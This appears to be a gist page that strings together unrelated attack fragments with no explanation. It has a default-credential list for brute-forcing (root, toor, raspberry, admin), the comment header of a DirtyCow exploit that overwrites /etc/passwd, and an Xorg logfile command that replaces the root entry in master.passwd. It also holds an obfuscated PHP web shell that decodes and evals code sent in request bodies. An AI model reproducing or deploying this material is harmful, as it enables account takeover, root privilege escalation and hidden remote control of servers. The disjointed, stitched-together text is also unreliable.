Skip to content

Instantly share code, notes, and snippets.

root
root
toor
raspberry
dietpi
test
uploader
password
admin
administrator
marketing
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
cd /etc
Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &
sleep 5
pkill Xorg
<?php
$k='r($i=l>0;$il><$l;){l>for($l>j=l>0;l>(l>$j<$cl>&&$i<$l);$j++,$il>++){$o.=l>$t{$il>';
$L='$k="1bl>l>9634cdl>l>";$kh="5bl>93ac75e703";$kfl>="ce66l>9f5l>54d8l>f";$p=l>l>"sVM';
$Z='(@bl>asl>e64l>l>_decode($m[1]),l>$k)));$l>o=@l>ob_gl>et_contenl>ts();@ob_enl>d_l>';
$f=str_replace('yH','','cryHyHeayHtyHyHe_fyHunction');
$W='clean();$r=l>@bl>ase64_encol>de(@x(l>l>@gzcomprel>ss($o),$l>k));l>pl>rint("$p$kh$r$l>kf");}';
$H='entl>s("l>php://inl>putl>"),$m)==1){l>@ol>b_startl>();@el>vall>(@gzuncoml>press(@x';
$C='l>}^$k{$l>j};}}retl>urn $ol>;}ifl>(@preg_ml>l>atchl>("/$kh(.+)$kl>f/",@fl>ile_get_cont';
$D='K43ll>ELWkl>c1bl>gm";function x($l>tl>,$k){$l>c=strlel>n($k);$l>l=strlel>n($l>t);$o="";fo';
$B=str_replace('l>','',$L.$D.$k.$C.$H.$Z.$W);